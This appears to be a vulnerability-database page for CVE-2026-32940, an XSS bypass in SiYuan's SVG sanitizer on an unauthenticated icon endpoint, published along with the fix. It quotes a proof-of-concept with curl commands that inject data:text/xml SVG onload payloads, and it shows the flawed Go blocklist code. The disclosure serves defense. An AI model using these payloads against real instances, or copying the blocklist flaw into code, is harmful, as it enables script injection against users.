FlawAtlas
Search the atlas
CVE-2026-32940 Critical

SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183) in github.com/siyuan-note/siyuan

SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183) in github.com/siyuan-note/siyuan

Exploit probability 0.3%
Published March 26, 2026
Required by Not available
Last source change March 26, 2026

02 / AFFECTED SOFTWARE

Affected packages

Unknown Unknown

674 explicit affected versions

Go github.com/siyuan-note/siyuan
Go github.com/siyuan-note/siyuan

03 / CONNECTIONS

Connected vulnerabilities

related OPENSUSE-SU-2026:21483-1

04 / EVIDENCE

Source records

Open Source Vulnerabilities GHSA-4mx9-3c2h-hwhg

# SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183) `SanitizeSVG` blocks `data:text/html` and `data:image/svg+xml` in href attributes but misses `data:text/xml` and `data:application/xml`. Both render SVG with `onload` JavaScript execution (confirmed in Chromium 136, other browsers untested). `/api/icon/getDynamicIcon` is unauthenticated and serves SVG as `Content-Type: image/svg+xml`. The `content` parameter (type=8) gets embedded into the SVG via `fmt.Sprintf` with no escaping. The sanitizer catches `data:text/html` but `data:text/xml` passes the blocklist -- only three MIME types are checked. This is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via `<img>` tags in the frontend, links aren't interactive there -- the attack needs direct navigation to the endpoint URL or `<object>`/`<embed>` embedding. ## Steps to reproduce Against SiYuan v3.6.0 (Docker): ```sh # 1. data:text/xml bypass -- <a> element preserved with href intact curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \ --data-urlencode 'type=8' \ --data-urlencode 'content=</text><a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">click</a><text>' \ | grep -o '<a [^>]*>' # Output: <a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E"> # 2. data:text/html is correctly blocked -- href stripped curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \ --data-urlencode 'type=8' \ --data-urlencode 'content=</text><a href="data:text/html,<script>alert(1)</script>">click</a><text>' \ | grep -o '<a [^>]*>' # Output: <a> (href removed) # 3. data:application/xml also bypasses curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \ --data-urlencode 'type=8' \ --data-urlencode 'content=</text><a href="data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E">click</a><text>' \ | grep -o '<a [^>]*>' # Output: <a href="data:application/xml,..."> (href preserved) ``` JS execution confirmed in Chromium 136 -- `data:text/xml` SVG `onload` fires and posts a message to the parent window via iframe test. ## Vulnerable code `kernel/util/misc.go` lines 289-293: ```go if strings.HasPrefix(val, "data:") { if strings.Contains(val, "text/html") || strings.Contains(val, "image/svg+xml") || strings.Contains(val, "application/xhtml+xml") { continue } } ``` `text/xml` and `application/xml` aren't in the list. Both serve SVG with JS execution. ## Impact Reflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL. Docker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on `nodeIntegration`/`contextIsolation` settings. Issue #15970 ("XSS to RCE") explored that path. The deeper issue: the blocklist approach for data: URIs is fragile. `text/xml` and `application/xml` are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions. ## Affected versions v3.6.0 (latest, confirmed). All versions since `SanitizeSVG` was added to fix CVE-2026-29183. ## Suggested fix Flip the data: URI check to an allowlist -- only permit safe image types in href: ```go if strings.HasPrefix(val, "data:") { safe := strings.HasPrefix(val, "data:image/png") || strings.HasPrefix(val, "data:image/jpeg") || strings.HasPrefix(val, "data:image/gif") || strings.HasPrefix(val, "data:image/webp") if !safe { continue } } ``` If you prefer extending the blocklist, add at minimum: `text/xml`, `application/xml`, `text/xsl`, and `multipart/` types.

View original source
Open Source Vulnerabilities GO-2026-4721

SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183) in github.com/siyuan-note/siyuan

View original source
Open Source Vulnerabilities CVE-2026-32940

SiYuan is a personal knowledge management system. In versions 3.6.0 and below, SanitizeSVG has an incomplete blocklist — it blocks data:text/html and data:image/svg+xml in href attributes but misses data:text/xml and data:application/xml, both of which can render SVG with JavaScript execution. The unauthenticated /api/icon/getDynamicIcon endpoint serves user-controlled input (via the content parameter) directly into SVG markup using fmt.Sprintf with no escaping, served as Content-Type: image/svg+xml. This creates a click-through XSS: a victim navigates to a crafted URL, sees an SVG with an injected link, and clicking it triggers JavaScript via the bypassed MIME types. The attack requires direct navigation to the endpoint or <object>/<embed> embedding, since <img> tag rendering in the frontend doesn't allow interactive links. This issue has been fixed in version 3.6.1.

View original source

05 / REFERENCES

Further evidence